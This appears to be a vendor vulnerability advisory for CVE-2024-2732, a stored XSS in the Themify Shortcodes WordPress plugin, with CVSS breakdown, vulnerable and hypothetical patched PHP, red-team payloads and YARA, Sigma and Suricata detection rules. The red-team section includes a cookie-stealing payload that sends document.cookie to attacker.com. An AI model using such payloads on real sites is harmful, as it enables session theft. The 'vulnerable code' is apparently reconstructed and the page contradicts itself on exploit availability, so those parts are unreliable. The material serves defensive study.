CVE-2024-2732
Executive Summary
CVE-2024-2732 is a Stored Cross-Site Scripting (XSS) vulnerability in the Themify Shortcodes plugin for WordPress, affecting all versions up to and including 2.0.8. The flaw resides in the themify_post_slider shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts that execute when any user visits the compromised page. This vulnerability is part of the WordPress ecosystem and does not involve server-level components like Apache or Nginx. The CVSS score is 5.4 (Medium), and no public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is performed over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
- User Interaction (UI): Required (R) – The victim must visit the injected page.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the original scope.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored nature of the XSS can lead to widespread impact within the WordPress site.
Deep Dive & Mechanics
The vulnerability exists in the themify_post_slider shortcode handler. The plugin fails to properly sanitize and escape user-supplied attributes such as title, link, or custom CSS classes. When the shortcode is rendered, these attributes are directly embedded into the HTML output without proper encoding. An attacker with contributor-level access can create a post or page containing the malicious shortcode, injecting JavaScript that executes in the context of any visitor's browser.
The attack flow:
- Attacker logs in with contributor-level credentials.
- Attacker creates a new post or page and inserts the
themify_post_slidershortcode with malicious attributes. - The shortcode is processed by the server, and the unsanitized attributes are rendered into the HTML.
- When an administrator or other user views the post, the injected script executes, potentially stealing cookies, redirecting users, or performing actions on behalf of the victim.
Vulnerable vs. Patched Code
Vulnerable Code (version 2.0.8):
// In themify-shortcodes.php
function themify_post_slider_shortcode($atts) {
extract(shortcode_atts(array(
'title' => '',
'link' => '',
'class' => '',
), $atts));
// Direct output without sanitization
$output = '<div class="themify-post-slider ' . $class . '">';
$output .= '<h3>' . $title . '</h3>';
$output .= '<a href="' . $link . '">Link</a>';
$output .= '</div>';
return $output;
}
Patched Code (hypothetical fix):
function themify_post_slider_shortcode($atts) {
$atts = shortcode_atts(array(
'title' => '',
'link' => '',
'class' => '',
), $atts);
// Sanitize and escape output
$class = esc_attr($atts['class']);
$title = esc_html($atts['title']);
$link = esc_url($atts['link']);
$output = '<div class="themify-post-slider ' . $class . '">';
$output .= '<h3>' . $title . '</h3>';
$output .= '<a href="' . $link . '">Link</a>';
$output .= '</div>';
return $output;
}
Exploitation & Lab Setup
Red Team (Exploitation)
Since no public exploit code is available, the following is a conceptual demonstration.
Step 1: Craft the malicious shortcode
[themify_post_slider title="<script>alert('XSS')</script>" class="test"]
Step 2: Insert into a post or page
- Log in as a contributor.
- Create a new post.
- In the text editor, insert the shortcode above.
- Publish the post.
Step 3: Trigger the XSS
- Any user visiting the post will see an alert box (or execute arbitrary JavaScript).
Advanced payload example:
[themify_post_slider title="<img src=x onerror=document.location='http://attacker.com/steal.php?c='+document.cookie>"]
Blue Team (Detection & Hardening)
Detection:
- Monitor for posts containing the
themify_post_slidershortcode with suspicious attributes. - Use WAF rules to block common XSS patterns in shortcode attributes.
Hardening:
- Disable the plugin until a patch is available.
- Restrict contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Indicators of Compromise (IOCs)
- File:
wp-content/plugins/themify-shortcodes/themify-shortcodes.php(version 2.0.8 or earlier) - Pattern in database: Posts containing
[themify_post_sliderwith unescaped HTML/JavaScript in attributes. - Network traffic: Outbound requests to attacker-controlled domains from the WordPress admin or frontend.
- Log entries: Unusual shortcode usage in post revisions or creation logs.
Detection Engineering
YARA Rule
rule CVE_2024_2732_Themify_Shortcodes_XSS {
meta:
description = "Detects vulnerable Themify Shortcodes plugin files"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-2732"
strings:
$vuln_func = "themify_post_slider_shortcode"
$unsafe_output = /<h3>' . \$title . '<\/h3>/
condition:
$vuln_func and $unsafe_output
}
Sigma Rule
title: CVE-2024-2732 Stored XSS via Themify Shortcodes
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts via themify_post_slider shortcode
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: "themify_post_slider"
http.body|contains:
- "<script>"
- "onerror="
- "onload="
condition: selection
falsepositives:
- Legitimate use of shortcode with safe attributes
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-2732 Themify Shortcodes Stored XSS"; flow:to_server,established; content:"themify_post_slider"; http_uri; pcre:"/(<script|onerror|onload)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Themify Shortcodes plugin until a patch is released.
- Review all posts and pages for injected shortcodes and remove them.
- Change all user passwords, especially for contributor-level accounts.
Long-term Fix:
- Apply the vendor patch when available (currently unpatched).
- Implement input validation and output escaping in custom shortcodes.
- Use a Web Application Firewall (WAF) with XSS protection rules.
Workaround:
- Replace the plugin with an alternative that provides similar functionality.
- Restrict shortcode usage to administrators only via WordPress capabilities.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.